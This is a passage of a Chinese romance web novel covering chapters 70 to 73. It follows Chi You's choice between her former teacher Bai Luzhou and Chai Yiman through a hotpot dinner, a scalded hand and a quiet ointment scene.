池柚将碗向前推了一小截,表示这顿饭她已经吃完。 “我认为两个人不是因为合适才会产生爱情。而是在有了爱情的前提下,就算是两个不合适的人,彼此也会为了感情而甘愿花费时间与精力去磨合。” 池柚扶着桌子站起来,对池秋婉说: “因为合适而在一起,对我来说是贪图捷径。而贪图捷径的根本心理是懒,不是爱。如果我因为这一点和柴姐姐结合,对我和她来说都是侮辱。” 池秋婉欲言又止:“小柚子……” 看着这么严肃的池柚,她突然不知道该说什么。 “对不起,妈妈,我知道我不该这么和您说话。” 池柚低了低头。 “但我就是想告诉您,请您不要再提星座或者性格之类的话了。我从来都不信那些。我不信东方神,不信西方神,更不信任何一个神安排的什么天作之合。我一直都只相信我自己主观意志的选择。” 第0?*? 70章 第 70 章 第0* 70章 池柚说, 她只相信她自己的选择。 这话乍一听,好像她已经做出了选择。然而池秋婉不知道的是,池柚只是在表明态度, 她还没有做出最终选择。 一直以来,池柚都不觉得选择对她来说是什么难事, 她好像总是想到什么就做什么。但后来她才明白, 原来她会这么想, 只是因为自己之前从来没有被放到真正需要她纠结的分岔路口。 尤其是这分岔路出现得比较突然的时候,就更加显难。 池柚以为尴尬的局面起码会到饭局上才会出现,没想到聚餐这一天, 她才刚下楼,就撞上了第一个需要选择的场景。 ——白鹭洲和柴以曼都来接她了。 白鹭洲站在龙石绿的仰望U8前面,柴以曼倚靠在白色的帕拉梅拉车门上。两个人应该早就来了,不过俩人没什么交流, 就是分别在自己的车前安静待着。 看到池柚出现, 她们都站直了一些。 柴以曼温柔地笑着打招呼:“小柚子,中午好。” 白鹭洲没说话,只微微垂了垂眼皮,当做简单的问候。 池柚:“中午好, 中午好。” 她对着两个方向说了两遍。 她看出白鹭洲和柴以曼都在等待她做一个选择。犹豫半晌, 她抓紧了挎包的带子。 “……我自己打车行吗?” 柴以曼忍不住噗嗤笑了出来。 白鹭洲看到池柚攥带子的手都拧红了,明白池柚现在正沉陷在煎熬里, 于是没有让这煎熬拖太久。 她转身拉开了车门, 说:“你坐她的车吧。” 话落,自己一个人坐进了驾驶座, 关上车门。 柴以曼望着渐渐驶离的仰望U8,眉毛挑了一下, 耐人寻味地笑了笑。 “走吧,你也不用选了。”她拍了拍自己的车前盖。 池柚看了一眼缓缓远去的那辆车,眉头短暂地蹙了一下,但很快被她自己按下去,乖乖地坐进柴以曼的车里。 在开往火锅店的路上,柴以曼盯着前面的路,问池柚:“她后悔了是不是?” 望着车窗外走神的池柚转过头,反应了一下,“啊……嗯。” “那天在楼洞口就猜到了。”柴以曼打了半圈方向盘,“你那么喜欢她,她都后悔了,你怎么还不和她在一起啊?” 池柚张了张嘴,一时不知怎么回答。 “在赌气?还是在惩罚她?” 柴以曼将方向盘回正,手腕上的檀木手串随着她的动作微微晃动。 她轻笑一声。 “总不可能是真的对我移情别恋了吧。” 池柚:“姐姐,你是想问什么呢?” 柴以曼嘴边还余着似有若无的笑意。 “我就是想确认一下,我是不是被你拿来当气她的工具了。” 池柚撑在车窗边的胳膊收了回来,双手放在膝盖上,认真地注视对方。 “我不会把任何人当做工具。” 然后池柚把那晚和白鹭洲说过的话又和柴以曼说了一遍。 答应了三个月就是三个月。 会遵从和她所有水到渠成的发展。 她有优先级。 以及她对她绝对的尊重。 柴以曼听完,沉默了好阵子。忽然又笑了一声,“这样啊。” 池柚:“对。” 柴以曼缓缓道:“小柚子,你真的……比我想象中,还要好很多很多。” 池柚:“为、为什么这么说?” “因为我很清楚,你不可能爱上只见过一面的我。而从我堂妹嘴里,我知道你追逐了那位白教授多少年,以及你的感情到底有多深。” 柴以曼在一个红绿灯停下,侧脸看着池柚。 “在这样的前提下,她愿意回过头来倒追你,但凡是个世俗点的人,都会马上抛弃新欢投向旧爱。可是你,太轴了。” 池柚皱眉,“轴?” “夸你的,用在这里是褒义。觉得你很有原则,很有担当,会排除一切情感和非情感的干扰,始终坚持自己觉得正确的事。精神内核太稳定了。” 柴以曼轻轻抚摸方向盘,眼眸弯弯。 “她也是发现了这一点,才会心甘情愿倒追你的吧。” 池柚轻声说: “是吗。” 如果真的是这样的话,对池柚来说不是一件值得开心的事。 因为白鹭洲发现这一点花了三年的时间,而柴以曼发现这一点,只用了一段对话的时间。 这让她控制不住地想起妈妈说的话,一个40分,一个100分。 她是不信那些。可细节对应上的时候,她还是难免会有一点难受。 柴以曼又发动车子,转而道:“三个月就三个月,我倒是真有点好奇,在有优先级的情况下,我究竟有没有那个能力扭转乾坤。” 池柚提醒:“你也可以直接拒绝,选择结束的。如果你觉得耽误了你的时间的话。” 柴以曼:“没事,我最近新书的事暂时忙完了,不在乎这点时间。只要让我知道我不是被拿来当作一个蠢钝的工具,公平竞争嘛,有什么理由拒绝呢?” “不过,你给她的时间,好像不够三个月吧。” 柴以曼忽然想到一个事。 “你妈妈原定计划里,是不是一个多月后,就要你跟我一起出国了?你没告诉她这件事吗?” 池柚愣了愣,“我……忘了。” 柴以曼不禁笑了:“这也能忘?” 或许是池柚潜意识里还是没有真正决定好要出国,所以只要旁人不提及,她自己压根就想不起来。 ……那就找个机会和白鹭洲说一下好了。 不管最后出不出国,总之都有这么个事儿可能要发生,还是得全部坦诚告知。 她们抵达餐厅地址后,在停车场停好车,坐电梯上去。 白鹭洲已经到了,暂时找了个座位。 这里没有包厢,只能找到类似于卡座的大桌子,白鹭洲站在桌子旁边,等其他人过来看看座位合不合适。 池柚和柴以曼走过来,白鹭洲先问她们: “这儿行吗?” 柴以曼没有回答白鹭洲的问题,而是先向她伸出了手,说:“一直没来得及好好和您打个招呼,您好,白教授。” 白鹭洲短暂地惊讶了一瞬,随即也伸出手,“抱歉,我也一直没有和你打过招呼。” 简单地握了个手,柴以曼环视周围一圈,“这里很好,就这儿吧,辛苦你选位子了。” 白鹭洲:“没事。” 黎青和宋七月还没来,池柚本来担心只有她们三个人,相处起来会特别尴尬。但她忘了柴以曼永远有化解尴尬的能力。 而白鹭洲对柴以曼也没有什么敌意,面色如旧,挺愿意和她正常地聊天。 关于池柚和柴以曼的关系,白鹭洲的重点似乎只在池柚本人的态度上,对于柴以曼,她并不会迁怒或者给冷脸。 这一点也让池柚忽然明白,前天那个群刚拉起来的时候,她问白鹭洲怎么不在群里说话,白鹭洲说不想。那个“不想”,应该就单纯的只是不太想在人多的地方发言,而不是避讳和柴以曼的交流。 白鹭洲确实嫉妒过。 但她仅仅是嫉妒池柚和柴以曼的亲密行为,因为她自己没办法那么轻易地靠近池柚,以前是碍于师德,现在是没有身份。所以她难免感到酸涩。 不过她清楚,柴以曼没有做错过什么,甚至是无辜的。她还没有幼稚到去恨一个无辜的人。 池柚曾说过,她讨厌狗血的事。白鹭洲也讨厌。跟着二姐看电视剧的时候,她很不喜欢那些原配大婆无视亲亲老公的问题,把重点全放在打小三的事上。 更何况,池柚不是那种渣滓,她和柴以曼也都不是什么原配或者小三。 两个人分别在池柚的两侧落座。 柴以曼随口聊起:“今天是周内哎,白教授不用上班么?” 白鹭洲:“今天没有课。”其实有一节,她叫同事来替她了。 柴以曼:“听小柚子说起过,你在大学里带美食鉴赏课,厨艺特别好。小柚子厨艺也好。真羡慕你们这些会做饭的人呐。” 白鹭洲:“你不会做?” 柴以曼:“特别不会。” 白鹭洲:“那……是哪里不太会?” 柴以曼笑了出来,“你是要给我上课吗,白教授?” “不。真要上课的话,起码一节四十分钟起。” 白鹭洲用指尖点了点桌上黑屏的手机。 “如果你需要,我可以直接把课件发给你,你慢慢看。” 柴以曼笑得更深了。 不聊不知道,一聊才发现,怎么小柚子喜欢的人也这么有意思啊。 柴以曼支起下巴,越过池柚看着白鹭洲,“我还以为你会特别讨厌我呢,结果这么友善呀,搞得我准备好的那些应对,好像一句都用不上了。” 白鹭洲:“我没有讨厌你。” 柴以曼:“那为什么那天在楼洞口,看我的眼神那么冷冰冰的?吓到我了都。” “抱歉。” 白鹭洲踌躇片刻,指尖轻轻地摩挲了一会儿手机屏。 “其实我不是在看你,我是在看……你包上的香囊。” “你说这个?” 柴以曼揪起自己包上的香囊。 “这个我听小柚子说了,是她妈妈求的一对,非要塞给她让她带给我的,不算是小柚子主观意识的赠礼。但是这个——” 她翻起手腕,展示那串檀木手串。 “这个是小柚子亲自送给我的,哎,你吃醋要找准物品,得吃这个醋才对。” 白鹭洲怔怔地看着柴以曼手腕上的檀木手串。 “噗嗤。” 柴以曼又笑了。 “好了好了,不开玩笑了,这是回礼啦。我从捷克带了伴手礼回来给她,她出于礼貌才回送给我的。” 白鹭洲的表情缓和下来,浅浅一笑。 “这样啊。” 柴以曼喝着水点点头。 这两个人聊起来大有止不住的趋势。夹在中间却被忽视半天的池柚终于忍不住,开口说了她的第一句词儿: “你们能不能……和我搭一句话?” 70-80 第071章 不仅是池柚对柴以曼和白鹭洲的这种莫名和谐的相处模式感到疑惑, 不久后赶到火锅店的黎青和宋七月,她们也很疑惑。 五个人落座下来,几番交流后, 宋七月瞪大眼睛看着黎青。 我昨晚梦里的修罗场呢?吵架呢?拉扯呢?热闹呢? 她用眼神震惊地问黎青。 黎青不明所以地耸耸肩,表示她也不清楚。 柴以曼敏感地捕捉到了宋七月和黎青的眼神肢体交互, 憋着笑, 将倒好的饮料推到她们面前, 轻咳一声:“没看到期待的乐子,失望了?” 宋七月啧啧两声,说:“那天在宿舍里从小柚子的视频聊天界面看了一眼你, 只觉得你笑起来和黎青挺像。没想到,你这毒眼光和聪明劲也像,说起话来,一肚子黑水儿的样子更像!” 柴以曼端起饮料杯, 和黎青说:“咱俩得举下杯啊。” 黎青:“哦?” 柴以曼:“敬你女朋友, 她在夸咱们呢。” 黎青笑了,举起饮料杯和柴以曼碰了一下。 宋七月忍不住翻了个白眼。 白鹭洲拿着pad安静地点菜。 她点过锅底后,向下划到菜单,看到火锅必下肉卷类, 偏过头轻声问池柚:“你要吃牛肉卷还是羊肉卷?” 池柚松开咬着的吸管, 目光落在pad上,“我更想吃牛肉, 不过吃不完一整份, 所以得看看你们想吃牛肉还是羊肉,我吃羊肉也可以的。”她扭头先去问柴以曼, “姐姐,你吃牛肉还是羊肉?” 柴以曼:“我都行。” 池柚问完柴以曼, 又问白鹭洲:“老师你呢?” 白鹭洲:“……牛肉吧。” 黎青和宋七月表示牛肉就可以,全点成牛肉即可。 白鹭洲点完肉卷,将pad递给池柚,让她们挨个自己点自己喜欢的菜。 池柚点了份炸牛奶,然后就把pad递给了柴以曼。等柴以曼点完,池柚才将pad拿回来给白鹭洲,说:“老师,您刚刚也没点自己的菜,您点一下。” 白鹭洲顿了一下,才接过来。 她垂着头,看着点单购物车里,挨在池柚的炸牛奶下面的贡菜肉丸和虾滑,知道这两道是柴以曼点的。她的手指顺着pad边缘向上扶正机器时,不小心碰到了黑鱼片的点单键,直接加进了购物车。 她本想删去重新点,可是目光落在这些菜品名称上,看着炸牛奶和黑鱼片隔着贡菜肉丸与虾滑,大拇指的指甲抠住了食指指腹。 ……忽然间,点什么好像就不重要了。 黑鱼片也好,其他什么菜都好。 什么都和炸牛奶挨不到一起,只能排列在贡菜肉丸与虾滑的下面。 白鹭洲最后没有换菜,将pad交给了下一个人。她递pad时唇线抿得很紧,没有抬起的睫毛遮住了眼底的情绪。 她确实不在意柴以曼,但她在意池柚的一言一行。 这是白鹭洲第一次具象地感受到池柚口中的“优先级”是什么意思,从这些看似很小很小的细节里。 她在柴以曼的优先级之下,所以,在点羊肉卷还是牛肉卷的选择中,池柚会先问柴以曼。在需要拿pad分别点单时,池柚也会先拿给柴以曼点。等“柴以曼”这个优先项照顾完之后,所有的事才会轮到“白鹭洲”这个后置项。 于是炸牛奶和黑鱼片之间永远都会隔着其他菜。白鹭洲在努力走向池柚的道路上,也会始终隔着一个人的距离。 白鹭洲不禁想起几十分钟前,在池柚家楼下时的场景。 或许那个时候,她就已经对“优先级”这个概念有了预感和心悸。 主动说让池柚去坐柴以曼的车,除了真的心疼纠结的池柚外,也有那么一小部分原因,是她害怕池柚到最后还是会选择柴以曼的车。 为了不被拒绝,就先表示谦让吧。 和她以前一样。 为了避免真相带来的伤心难过,就把自己的位置定义在地狱之外吧。 但白鹭洲明白,她也没什么好抱怨的。 池柚曾经无比坚定地选择过她,是她推开了池柚,剥夺了池柚的资格。然后现在,变成了她失去了被优先选择的资格。 自食苦果而已。 其实没什么大不了的,前半辈子,白鹭洲已经习惯了各种不被优先选择的情况。她想:还好她曾经吃够了这种苦,现在,她应该很快就可以消化掉面前这点苦了。 黎青和宋七月不仅点了菜,还点了几瓶酒。她们说今天外面日头大,有些热,就适合喝些冰啤酒。 柴以曼很喜欢喝酒,看宋七月也是很喜欢的样子,两个人一见如故,喝完了上的头几瓶,又点了一扎。 黎青和池柚对酒还好,她俩全程面前就一瓶,只拿来解解腻。 白鹭洲滴酒不沾,只喝茶水。她酒量不好,这是在游轮上就确认过的事,所以她后来基本上没有再碰过酒精了。 再加上今天她开了车,柴以曼已经喝酒了,她们之中总要有个不喝酒的,最后开车送大家回去。 宋七月本就健谈,柴以曼也擅长酬酢,她们搭上话就着酒就说个没完。从宋七月的高中时期说到柴以曼的国外游历,从她们各自最喜欢的酒说到下火锅最讨厌的菜。 聊着天喝酒容易越喝越多,一扎啤酒眼见空了,她们又叫了一扎。 喝到兴起,宋七月连她和黎青的恋爱史都透了个干干净净。黎青吃饭的时候还得分神照顾宋七月,恰是时候地干咳一两声,免得宋七月什么乱七八糟不堪入耳的话都说出来。 那三人各有各的事,剩下池柚和白鹭洲两个i人,除了偶尔话题落在她们身上时回一两句话,其余时候都很安静地专心吃饭。 别人约饭是为了交际,她们俩,一个对活体人类之间的交流无感,一个不善言辞,于是双双回归了约饭的原始本意—— 吃。 捞菜的时候,池柚用不时瞥过去的余光,很快注意到白鹭洲只夹黑鱼片吃。 池柚知道白鹭洲的众多怪癖之一,就是在聚餐的时候通常只会吃自己点的菜。按理说,虽然菜品是各人单点,但端上来都是大家一起吃,不必分得那么清楚。不过白鹭洲就是这样,向来拉足距离感。 这种习惯不是重点。 重点是,白鹭洲只吃黑鱼片,那就说明她点了黑鱼片。 可是白鹭洲从来不吃带皮的肉。 鸡肉、鸭肉、猪肉、鱼肉、所有肉,她都绝不会在它们连着皮的情况下放进嘴里。火锅店的鱼片怎么会专门剔掉鱼皮呢?所以…… 是点错了还是……改口味了? 池柚多分了点心去关注白鹭洲。 没多久她就发现,白鹭洲没改口味。她把菌菇汤锅里的鱼片夹进碗里后,会仔细用筷子剔去鱼皮,也不蘸料,只吃纯白的鱼肉。 吃得又清淡又少,大概只吃了六七片就放了筷子,让人不禁担心她这种食量是怎么叫这副碳基身体存活下来的。 嗯……应该是点错菜了吧。 池柚这么想着,拿了一只干净碟子,夹了一些肉卷还有自己的一块炸牛奶进去,轻轻地推到白鹭洲面前,小声说: “这些好吃。” 白鹭洲的筷子在碗里停顿了片刻。 随后她安静地点点头,垂下眼眸,慢慢地将碟子里的食物都吃掉了。 喝酒的几个人忙着热闹,没人注意到她们的这个小动作。 池柚见白鹭洲吃完了,又问:“您还要吃点别的吗?螺肉和虾滑都不错,没有皮。” 白鹭洲再次放下筷子,“不用了,我饱了。” 池柚:“吃这么一点就饱了?” “……” 白鹭洲沉默半晌,如实解释。 “其实我还在养病,医生嘱咐过不能吃辛辣油腻的食物,清淡的也最好别吃太饱。” 池柚怔了怔,想起自己刚刚夹的那一碟辣锅捞出的肉卷和油腻腻的炸牛奶。 “那、那我刚刚给您的您怎么就……” 她捏紧了筷子,猛然间无比后悔,什么都没问清楚就瞎关心。 白鹭洲看到了池柚的细微动作,唇角微抿。 让她愧疚了吗? “对不起,我还没习惯第一时间就解释事情。以后再有这种情况,我会直接说,不乱吃了。” 白鹭洲有意将声音里惯有的冰化开,温开水般,柔润地道歉。 池柚不太适应白鹭洲这个样子,闷闷地说:“是我该说对不起才对。” 白鹭洲理性地吐出五个字:“不知者不罪。” 池柚:“那……汤可以喝吗?我帮您舀点菌菇汤。” 白鹭洲想了想,“半碗。” 于是池柚拿小碗舀了半碗,细心地撇开浮沫,盛出奶白奶白的汤。 池柚在盛汤的时候,旁边喝多了的柴以曼忽然倾身过来,胳膊没轻没重地压在池柚的肩上,猛地这么一下,池柚手里的汤碗瞬间没拿住,眼见就要跌落下去。 白鹭洲下意识地伸出手,一把托住池柚拿汤碗的那只手,带着刺激温度的汤被漾了出来,淌了她满手背。 好在大部分汤都流到了她手上,没有几滴沾到被她覆盖住的池柚。 白鹭洲扶稳了池柚之后就收回了手,撇过头,不动声色地抽了两张纸,将湿漉漉的手指裹进去,捂住。 柴以曼几乎是将池柚揽在了怀里,没注意到刚刚的小事故,笑着说:“我们在说要不要约二场呢,一会儿吃完火锅,是去ktv还是酒吧啊?” 池柚努力撑着柴以曼,“姐姐,你喝多了,还是早点回家吧。” 柴以曼:“这哪算多,只是有点晕。” 池柚匆匆地将汤碗往白鹭洲那边一放,擦干净手,两只手并用才勉强以自己这小身板继续撑住柴以曼,“你都坐不住了。” 黎青也道:“我看七月也有点晕,要不下次再约吧?” 宋七月怒气冲冲地把酒瓶往桌上一剁,“说谁晕呢?你以为谁都和她一样不能喝?你是小瞧我混酒场的酒龄是不是?” 黎青耐心道:“没小瞧你,也没小瞧柴大作家,你们现在是不怎么醉,但要是再喝一场,我们就得扛着你们回去了。” 柴以曼略加思索,叹气:“好吧,初次见面,也不好太麻烦你们,那就下次约?” 宋七月:“一定得有下次啊!我还没聊尽兴呢!” 黎青:“好好好,下次我再攒局。” 池柚:“那、那现在我们……” 饭其实都吃得差不多了,大家看了下桌面,都同意这次聚餐可以告一段落。 黎青扶着宋七月先往负一层停车场走去。还剩下池柚,白鹭洲,柴以曼三个人,柴以曼得要一个人来扶,但池柚显然有些吃力。 白鹭洲结完账后,主动走过来接过了柴以曼的胳膊,“我来吧。” 她和柴以曼身高相当,搀扶起来也容易些。 池柚将柴以曼递到白鹭洲身上以后松了口气,她揉着被压酸的脖子和肩,有点迟缓地跟在她俩身后。 走了没两步,池柚抬起头,正想说什么时,倏而目光一顿。 她看见,白鹭洲揽着柴以曼胳膊的手背上,有好大一片被新鲜烫伤的红痕。 第072章 白鹭洲开车将几个人依次送回家, 送了整整两个小时。 五个人在云州的住处隔得天南地北。 柴以曼住在东郊的一个僻静高端小区,几乎是在山上,盘旋的山路来回就开了很久。黎青要回西郊的医科大去, 她说今天还有事情要忙,宋七月家里的长辈最近去外地研学了, 拜托白鹭洲将宋七月送回白柳斋。 而白柳斋又在云州最南边的偏远胡同里。 等车子开到白柳斋, 已经是下午五点了。 池柚在心里默默地替白鹭洲算了一下, 送完宋七月,白鹭洲再送她回家,然后开回自己家, 恐怕还得一个小时。遇上晚高峰,时间只会拉得更长。 她总有意无意地盯白鹭洲握着方向盘的手,那手背上烫伤的红痕一直都没有处理。 而且不知道是烫伤的原因还是开车太久哪里不舒服的原因,白鹭洲隔段时间就会隐隐皱一下眉, 到后面皱眉的频率越来越高。 池柚主动说:“老师, 您和宋姐姐今天就歇在白柳斋吧,我一会儿自己打车回去就好。” 白鹭洲刚在胡同口停好车,正在后排费力地扛起宋七月的胳膊,闻言抬起头, 思索了片刻。 “这里地方偏, 你打车不好打。要不你也留下来,正好再过一两个小时又是饭点, 你可以吃点东西。想留宿也好, 不想留宿的话,我晚上休息好了再送你回去。” 虽然爷爷上次告诉白鹭洲, 让她起码三个月后再把池柚带回白柳斋,不然怕奶奶接受度不高, 但她从榆中回来后母亲曾给奶奶打过一个电话,那个电话之后,奶奶的态度就转变了许多。 不仅少了许多排斥,甚至也像母亲那样,明里暗里地暗示白鹭洲,希望可以再见一次池柚。似乎是想换个角度好好审视一下这个孩子,看看她当作白鹭洲配偶的合适性。 或许是随着时间流逝,白碧英也终于意识到自己根本不可能改变固执的白鹭洲,只能尽可能地帮她把把关了。 白鹭洲察觉到这一点,郑重地告诉过他们,她和池柚还没有什么真正的发展,希望就算再见面,他们也不要有什么过分的试探举动。家长们都“好好好”地答应了。 所以,这时候带池柚回白柳斋,应该是没什么问题的。 池柚对于这些事都一无所知,她只觉得去白柳斋就和以前一样,没什么不同。 于是考虑到白鹭洲手背上的烫伤,也想着留下来方便帮她处理一下,便同意了这个建议。 “好。” 今天扛着宋七月的白鹭洲没手去买枣泥糕了。 不过三个人穿过胡同走到白柳斋门口时,白鹭洲敲了敲铜环,回过头一瞥,却看见池柚不知道什么时候已经替她去买了来。 牛皮纸包的一叠点心,被小姑娘背着手拎在身后,自然得恍若常事。 白鹭洲心里一动,问:“枣泥糕?” “当然。”池柚点头。不然还能是什么?白鹭洲每次来白柳斋买的都是枣泥糕。 白鹭洲等待门里的人来开门的间隙,轻声说:“不喜欢我了,还把我的习惯记得这么清楚。” “我……” 池柚欲言又止。 “我不是……” “不仅记得我会买枣泥糕,也记得我不吃带皮的肉类。” 白鹭洲当然知道池柚帮她夹那一碟子菜的原因,也是因为她懂这份好意,才一口口勉强自己吃了下去。 “你……” 池柚鲜有的被白鹭洲的话噎住,好半天,后知后觉地感到了一点生气。 “老师你变了。” 白鹭洲:“我变了?” 池柚:“你以前不会说这种话的。” 白鹭洲:“这种话怎么了?” 池柚:“你在故意逗我,和舍友姐姐们故意逗我的时候一样。我不傻,我知道,你们就是想看我着急结巴。” 白鹭洲弯了弯唇角,说:“你也变了。” 池柚:“我没变。我一直都不傻,只是之前不说。” 白鹭洲:“不是这个。” 池柚疑惑地看着白鹭洲。 “你刚刚和我说话。用的是‘你’,而不是‘您’了。” 白鹭洲转过头,和池柚的目光对上。 池柚恍了恍神,才发觉这一点细节。 “对不起……”池柚受骨子里深刻的礼教影响,下意识就要致歉。 白鹭洲打断了她:“不用道歉,我希望你继续这样叫。” “继续这样叫?”池柚迟疑了一瞬,“可这样不会太没大没小么。” 白鹭洲回正目光,看向紧闭的红木门。 她听见了里面愈来愈近的脚步声,将嗓音放轻到只有近距离的人才能听到的大小。 “经过了前些天的事,听我说过了那些话,你觉得,我现在是希望你尊卑有伦一点,还是没大没小一点?” 池柚张了张嘴,却接不上这句话。 尊卑有伦……没大没小…… 明明只是在讨论称呼的问题,可池柚的耳垂好似有点泛红。 一直没说话的宋七月终于忍不住开口:“我是喝多了,又不是死了,你们调情能不能避开一下我?” 白鹭洲看了眼在她肩上难得消停了半天的宋七月,“你的眼睛不是闭着的么?” 宋七月:“我眼睛是闭上了,耳朵又没塞棉花。” 白鹭洲的嗓音淡了下来:“吃个饭你要巴巴地凑过去看热闹,主人公在你跟前‘调情’,你倒不乐意听了?” 宋七月想说那能一样吗,她能主动凑到热闹那是她自己的本事,她被动听人调情,还被这俩人无视得像根柱子,那是对她的羞辱! 而且她算是看透这个表甥孙女了,对小柚子说话就温温柔柔的,对她说两句就马上变得冷冷冰冰,活该除了小柚子没人搭理她! 不过她的话还没来得及说出口,大门就被打开了。 白碧英先看到了白鹭洲和白鹭洲肩上的宋七月,惊喜地开口:“洲洲,小七,你们来……” 随即白碧英就看见了站在更旁边一点的池柚,眼睛睁得更大,因苍老而松弛的眼皮被她的表情撑得多了几道褶子。 “池同学!怎么没打声招呼就来了?” 之前来不是都没提前打过招呼么,白奶奶怎么好像有点……过度惊讶了? 池柚虽然不解,可也立马礼貌地说:“对不起,我们才约过饭,我只是顺路过来一下,要是不方便……” 白碧英忙说:“方便方便,请进。” 请,进? 这么客气? 白碧英这才注意到喝得醉醺醺的宋七月,“哎哟”了一声,帮白鹭洲将宋七月扶过去,“小七啊你怎么回事,你爸妈才出差,你就又喝成这个样子。” 一个“又”字不知道包含了多少轻狂往事。 宋七月嚷嚷:“怎么了嘛大表姐,我以前喝多了你从来不唠叨的!” 白碧英:“这不是让人家看笑话咱家嘛。” “谁?”宋七月的一双醉眼狠狠斜睨四周,“谁敢笑话?” 白碧英用一种很复杂的眼神看了看池柚。 好像是在看第一次上门的准孙媳妇,觉得人家进了门还没尽尽礼数,茶都没端上一杯,自家小表妹这德行实在有点丢人。 池柚被看得莫名其妙。 她开始怀疑是不是那一瓶酒给自己喝懵了,怎么她今天见到白奶奶,哪哪都觉得怪怪的。 白鹭洲轻咳了一声。 白碧英收回目光,回归正常,叫李恩生出来接待客人,她先带着宋七月去客房休息。 李恩生从迎客堂走出来,看见白鹭洲和池柚,也是先惊讶了一下,然后捋着花白的胡子慈祥一* 笑,说:“这么快呀。” 这么快就带上门了。 白鹭洲:“爷爷。”微重的语气,提醒着什么。 李恩生懂孙女的意思,没有显露出更多异常,自然地邀请池柚进迎客堂去小坐。 池柚却说:“先不坐了。” 爷爷:“你才刚来,不会这就要走?” “不是,那个……”池柚始终惦记着白鹭洲的手背,可不好意思直说,“我、我想先去老师的房间一下。”又马上补充:“和老师一起。” 白鹭洲也很意外,微挑了眉尾看向池柚。 “哦——” 爷爷点点头,通情达理地准许。 “有话要说是吧,去吧去吧。” 两个人分别向李恩生道别。 白鹭洲和池柚沿着回廊慢慢走。在离李恩生有一段距离后,白鹭洲才开口问:“有什么事吗?” 池柚:“您刚刚帮我扶汤碗的时候烫到了吧,我看您手背上红了好大一片。” 池柚的称呼又变回了“您”,白鹭洲的嘴唇动了动,还是没有选择去继续纠结这个问题。 她现在没有立场在这些小事上对池柚任性。更何况,有些旷日持久的习惯,不是那么容易能改的。 白鹭洲道:“没有很严重,那会儿锅不是沸腾状态,只是刚开始有一点蛰,现在已经没感觉了。” 池柚皱眉,“我当时在盛汤,虽然锅没沸腾,但隔着碗我也能感觉到那汤有多烫。老师,您不是才在饭桌上答应过我,有什么情况会第一时间直接和我说吗?” 白鹭洲没由来地想起了地下室里的积木。 然后就想起了池柚隐藏在积木后想告诉她的话。 ——别再做个假人了,白鹭洲。 看来,不仅是池柚称呼“您”的习惯很难改,她下意识逞强的习惯,一时间也很难改。 “……是有点疼。” 白鹭洲停步在自己的房间门前,侧过一点脸,用目光邀请池柚进去。 “那辛苦你,进来帮我上点药吧。” 第073章 打开门, 白鹭洲的房间还是一如既往地扑面阵阵清苦茶香,和一点她惯用的老山檀熏香的味道。 清幽,凛冽, 池柚一直很喜欢这种茶木香气。不仅是主观上的喜欢,同时也是身体基因的偏爱, 只要在这里呼吸, 她的中脑腹侧多巴胺系统都会开始工作。 心情安宁了下来, 表情也不经意地放松许多。 白鹭洲脱下外套,顺手搭在椅背上,解开了衬衣袖口的纽扣, 向上挽了两叠。 她从桌子下面拿出医药箱,找出烫伤膏和棉签。 因为屋里只有一把椅子,要是在书桌边的话,白鹭洲和池柚之中肯定得有一个人是站着的。于是白鹭洲走到床边坐下, 颀长的身体向床头轻轻一靠, 对池柚说: “过来。” 池柚正要走到床边去,白鹭洲又说: “椅子也搬过来,你坐着。” 不知道是不是当老师太久的原因,白鹭洲明明看起来苍白又纤细, 五官是更像弱势一方的柔美类型, 可她病恹恹地往那里一靠,语气淡然地说几个都算不上指令的字, 就让人不由自主地顺着她的话去行动。 人们似乎可以越过她外形带来的脆弱感, 直接被她细微言行中透出的清冷气场所掌控。 半个月前受她劝说的长辈们是如此,此刻乖乖去搬椅子的池柚更是如此。 池柚在床边坐下, 拿起烫伤膏和棉签,打开包装。 白鹭洲忽然开口:“坐近一点。” 池柚愣愣地抬眼看了眼她, 短暂的犹豫后,拉着椅子坐得离床近了一些。 白鹭洲:“再近一点。” 池柚停留在椅子边沿的手停顿了片刻,再次拖着椅子挪了挪。 ……不能再近了,再近她就坐到白鹭洲的大腿上了。 池柚都有点冒汗,生怕白鹭洲继续说,她又拒绝不了。 不过好在,白鹭洲没有再开口,让她们的距离止步于此。 白鹭洲伸出手,翻起烫红的手背,悬在池柚面前。 池柚给棉签挤上烫伤膏,前倾了些许,左手撑在自己的膝盖上,右手撚着棉签小心翼翼地给白鹭洲涂药。 这只在池柚眼中曾是完美艺术品的手,如今覆上一层烫伤的红痕,就和在一个爱画者面前烧毁一幅《蒙娜丽莎》没什么区别。 她忍不住心疼。 既心疼白鹭洲会痛这件事,又心疼如此漂亮的器官承受无妄之灾这件事。 因为格外重视,所以池柚涂得很仔细,慢慢地,轻柔地,万分认真。 而认真过头的后果,就是拉长了许多不必要的时间。 很久以后,白鹭洲像是有点疲惫,鼻息间发出轻浅的一声气音,调整了一下坐姿。 下一秒,正在“粉刷”艺术品的池柚忽然全身一僵。 她的脖子像装了生锈的齿轮,一点一点钝锉地垂下去,目光怔怔地落在自己的膝头。 刚刚白鹭洲换了个坐姿的同时,烫伤的手放了下去,正正好,落在了池柚的膝盖上。 透过薄薄的裤子,池柚的腿可以感觉到白鹭洲腕骨突起的一弧轮廓,就这么突兀又清晰地隔着一层布压上了她的皮肤。 那只手半蜷着,指尖自然地搭在她的膝骨侧边,再无任何多余的动作。没有动手动脚,没有暧昧地划动,只是放着,内敛得和白鹭洲本人一样。 仿佛是刻意的,却安静得让人感觉并不刻意。 想赶快提醒她别越界,又觉得,她或许只是累了,就让她搭一会儿吧。 白鹭洲轻声问:“你介意吗?” 池柚按下纷乱的心绪,说:“该介意的不是您么。” 白鹭洲的声音里听不出情绪,“是吗。” 池柚深呼吸了一下,低着头,继续用棉签给白鹭洲上药。 “上次在海岛您帮我包扎的时候,不是和我说过,不希望和我有任何肢体接触么。虽然您指的是皮肤间的接触,但您那么在意,应该也不会想这样主动把手……” “帮你扶汤碗的时候也碰到你了,你当时不觉得哪里不对?”白鹭洲打断她。 池柚:“……那是紧急情况,不一样。” 白鹭洲:“对我来说没什么不一样。” 白鹭洲此时的坐姿面向着池柚,她抬起眼,很轻易地就凝视住她。 “我好像一直都忘了告诉你,那晚我做的越界的事,除了和你说出那句话之外,还有一件。” 池柚抬起头,“什、什么?” 没有任何预兆地,白鹭洲搁在池柚膝头的手倏忽向上,握住了池柚拿棉签的那条小臂。 五指不带什么力度地轻轻包裹住雪白的小臂中段,像缠过来的云,没有重量,若即若离,温柔中带着莫名的不真实感。 细细绵绵的云里,席卷着不可忽视的冰凉的温度。 